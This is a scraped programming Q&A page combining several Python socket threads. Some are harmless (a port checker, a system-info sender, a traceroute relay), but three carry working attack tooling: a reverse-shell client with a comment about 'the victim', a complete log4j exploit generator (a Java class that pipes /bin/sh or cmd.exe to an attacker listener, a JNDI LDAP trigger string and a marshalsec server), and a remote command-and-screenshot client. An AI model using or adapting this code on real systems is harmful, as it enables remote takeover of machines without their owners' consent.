I write a socket programming code client.py and server.py and it work awesome. Now I face a little problem I want to get the name of PC and show it like this device is connected below is the code. I tried different method but all fail. Basically, I have a couple Windows computers on my network that will be running a python script. So through this method I will know all computer name
client.py
import os, socket, subprocess ,getpass
def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '192.168.100.9'
port = 9995
s.connect((host, port))
# userName = getpass.getuser()
# s.send(str.encode(userName))
# print(userName)
while True:
try:
data = s.recv(800000)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
# print(output_str) # if you want to show the output to the victim
except:
shell()
if __name__ == "__main__":
shell()
below is server code
server.py
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(80000000)
except:
del all_connections[i]
del all_address[i]
continue
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
print("----Clients----" + "\n" + results)
it gave me output like this
output::
----Clients----
0 192.168.100.9 55747
I want output like this:::
output::
----Clients----
0 PC_NAME 192.168.100.9 55747
You can attempt to call socket.gethostbyaddr() on the IP address.
However, that depends on the DNS configuration of the server system - there's no real guarantee that the machines have registered their names with the local name server.
Related
for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py
I'm trying to take a screenshot on a remote Windows machine. For example, when you input the command "screenshot" on the server, it takes a screenshot on the client machine, saves it to a directory, and sends it back to the server. I already figured out the first part, but can't figure out how to send the saved file back.
Server:
import socket
import sys
import subprocess
host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
sendCommands(conn)
def sendCommands(conn):
cmd = input('console > ')
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
clientResponse = str(conn.recv(1024), "utf-8")
print('\n' + clientResponse, end="")
Client:
import os
import sys
import subprocess
import socket
import autopy
def socketCreate():
global host
global port
global s
host = '192.168.1.25'
port = 4444
s = socket.socket()
def socketConnect():
global host
global port
global s
s.connect((host, port))
def recieveCommands():
global s
while True:
data = s.recv(1024)
if data[:].decode("utf-8") == 'screenshot':
path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
screenshot = r'\screenshot.png'
if not os.path.exists(path):
os.makedirs(path)
try:
bitmap = autopy.bitmap.capture_screen()
bitmap.save(path + screenshot)
tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
s.send(str.encode(tookScreenShot))
except:
screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
str(screenshotFailed)
s.send(str.encode(screenshotFailed))
else:
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode("utf-8"))
s.close()
def main():
socketCreate()
socketConnect()
recieveCommands()
main()
You should send the as following from the client
f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
print 'Sending...'
s.send(file)
file = f.read(1024)
f.close()
print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close()
on server
while True:
file = open('C:/received.jpg','w')
l = s.recv(1024)
while l:
print "Receiving..."
file.write(l)
l = s.recv(1024)
file.close()
print "Done Receiving"
s.close()
I'm trying to develop my simple server/client scripts to send some useful information about systems using platform module and saved in .txt file on the server side ( in order o improve my programming skills ) but when I run the client side it doesn't send any information till I closed using Ctrl+c but what I really want is the client to send informations then it close itself I tried the sys.exit but it doesn't work
this is the server Side
#!/usr/bin/python
import socket
import sys
host = ' '
port = 1060
s = socket.socket()
s.bind(('',port)) #bind server
s.listen(2)
conn, addr = s.accept()
print addr , "Now Connected"
response = conn.recv(1024)
print response
saved = open('saved_data.txt','w+')
saved.write(response) # store the received information in txt file
conn.close()
and this is the client side
#!/usr/bin/python
import socket
import platform
import sys
def socket_co():
port = 1060
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.107', port)) # my computer address and the port
system = platform.system()
node = platform.node()
version = platform.version()
machine = platform.machine()
f = s.makefile("r+") #making file to store information ( as I think it do ) using the makefile()
f.write('system: ' + str(system) + '\n')
f.write('node: ' + str(node) + '\n')
f.write('version: ' + str(version) + '\n')
f.write('machine: ' + str(machine) + '\n')
sete = f.readlines() #read lines from the file
s.send(str(sete))
while True:
print "Sending..."
s.close()
sys.exit() #end the operation
def main():
socket_co()
if __name__ == '__main__':
main()
Data is cached in memory before sending. You have to flush after writing:
f = s.makefile("r+") #making file to store information ( as I think it do ) using the makefile()
f.write('system: %s\n' % system)
f.write('node: %s\n' % node)
f.write('version: %s\n' % version)
f.write('machine: %s\n' % machine)
f.flush()
while True:
print "Sending..."
loops forever. So the problem is not in the send part.
My Python script is not working properly. It says that kandicraft.finlaydag33k.nl on port 25565 is down, whilst, it's responding to pings (and I can connect to the game itself)
I know it should be a bug somewhere in the code, but I can't find it as I started python like half an hour ago.
The output that I get is: 24-02-2016 16:05:30] kandicraft.finlaydag33k.nl on port 25565 seems to be unreachable!
I've editted the question as the port 80 with google now works, but the main purpose of this script (pinging minecraft servers) later on doesn't.
the error I get from the exception is an integer is required (so port 25565 doesn't seem to be an integer???)
import os
import RPi.GPIO as gpio
import time
import socket
## set variables for the machine to ping and pin for the LED
hostname = ['kandicraft.finlaydag33k.nl:25565','google.com:80']
led_pin = 37
## prepare
led_status = gpio.LOW
gpio.setmode(gpio.BOARD)
gpio.setup(led_pin, gpio.OUT, gpio.PUD_OFF, led_status)
## PING FUNCTION GALORE!!
def check_ping(host,port):
captive_dns_addr = ""
host_addr = ""
try:
host_addr = socket.gethostbyname(host)
if (captive_dns_addr == host_addr):
return False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((host,port))
s.close()
except:
return False
return True
## Run the script itself infinitely
while True:
host_up = ""
for host in hostname:
if ":" in host:
temphost, tempport = host.split(":")
pingstatus = check_ping(temphost, tempport)
if pingstatus == False:
print('[' + time.strftime("%d-%m-%Y %H:%M:%S") + '] ' + temphost + ' on port ' + tempport + ' seems to be unreachable!')
host_up = "False"
if host_up == "False":
led_status = gpio.HIGH
else:
led_status = gpio.LOW
gpio.output(led_pin,led_status)
time.sleep(1)
I managed to solve all issues that I found by using check_ping(temphost,int(tempport))
thanks all for helping me solve it!
To debug your program just replace
except:
return False
by:
except Exception as exc:
print exc
return False
in check_ping() function
I'm currently trying to write process that embeds a sequence of n IPs into packets and send it off to n server. Each server remove the outermost IP and then forward it to said IP. This is exactly like tunneling I know. During the process I also want the server to do a traceroute to where it's forwarding the packet and send that back to the previous server.
My code currently will forward the packets but it's stuck on performing the traceroute and getting it. I believe it's currently stuck in the while loop in the intermediate server. I think it's having something to do with me not closing the sockets properly. Any suggestion?
Client
#!/usr/bin/env python
import socket # Import socket module
import sys
import os
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 17353 # Reserve a port
FILE = raw_input("Enter filename: \n ")
NIP = raw_input("Enter Number of IPs: ")
accepted_IP = 0
IP= []
while accepted_IP < int(NIP):
IP.append(raw_input("Enter destination IP: \n"))
accepted_IP +=1
#cIP = raw_input("Enter intemediate IP: \n ")
ipv = raw_input("Enter IP version... 4/6")
try:
s.connect((host, port))
print "Connection sucessful!"
except socket.error as err:
print "Connection failed. Error: %s" %err
quit()
raw = open(FILE,"rb")
size = os.stat(FILE).st_size
ls = ""
buf = 0
for i in IP:
while len(i) < 15:
i += "$"
ls += i
header = ipv+NIP+ls+FILE
print ls
s.sendall(header + "\n")
print "Sent header"
data = raw.read(56) +ipv + NIP + ls
print "Begin sending file"
while buf <= size:
s.send(data)
print data
buf += 56
data = raw.read(56) + ipv + NIP + ls
raw.close()
print "Begin receiving traceroute"
with open("trace_log.txt","w") as tracert:
trace = s.recv(1024)
while trace:
treacert.write(trace)
if not trace: break
trace = s.recv(1024)
print "finished forwarding"
s.close()
Intermediate server
#!/usr/bin/env python
import socket
import subprocess
srvsock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
srvsock.bind( (socket.gethostname(), 17353) )
srvsock.listen( 5 ) # Begin listening with backlog of 5
# Run server
while True:
clisock, (remhost, remport) = srvsock.accept() #Accept connection
print
d = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
header = ""
while True:
b = clisock.recv(1)
if b == "\n":
break
header += b
num = 15 * int(header[1]) + 2
file_name = header[num:]
nheader = header[0]+ str(int(header[1])-1) + header[17:]
d.connect((socket.gethostname(), 12355))
d.sendall(nheader+'\n')
print "begin forwarding"
while True:
raw = clisock.recv(56 + num) # recieve data
ip = raw[-15:] # extract IP
ipv, NIP = raw[57] , str(int(raw[57])-1)
if NIP == "0":
while (raw):
print "stuck in this loop"
d.send(raw[:56])
raw=clisock.recv(56+num)
if not raw: break
else:
while (raw):
print raw[:57] + NIP + raw[59:-15]
print "\n"
d.send(raw[:57] + NIP + raw[59:-15])
raw = clisock.recv(56+num)
if not raw :break
print "Finish forwarding"
d.close()
break
print "Begin traceroute"
tracrt = subprocess.Popen(['traceroute','google.com'], stdout=subprocess.PIPE)
s.sendall(tracrt.communicate()[0])
print "Finished"
clisock.close()
s.close()
Destination server
import socket
s = socket.socket()
host = socket.gethostname()
port = 12355
s.bind((host,port))
s.listen(5)
while True:
csock, (client, cport) = s.accept()
print client
header = ""
while True:
b = csock.recv(1)
if b == "\n":
break
header += b
file_name = header[2:]
r = open("File_test_"+file_name,"wb")
print 'Opening file for writing'
while True:
print "Begin writing file" + " " + file_name
raw = csock.recv(56)
while (raw):
print raw
r.write(raw)
raw = csock.recv(56)
r.flush()
r.close()
print "finish writing"
break
print "closing connection"
csock.close()
s.close()
The intermediate server is stuck in clisock.recv() in this loop because the break condition not raw isn't met before the connection is closed by the client, and the client doesn't close the connection before receiving the traceroute from the intermediate server, so they are waiting on each other.
To remedy this, you might consider sending the file size to the intermediate server, so that it can be used to determine when the receive loop is done. Or, if your platform supports shutting down one half of the connection, you can use
s.shutdown(socket.SHUT_WR)
in the client after sending the file.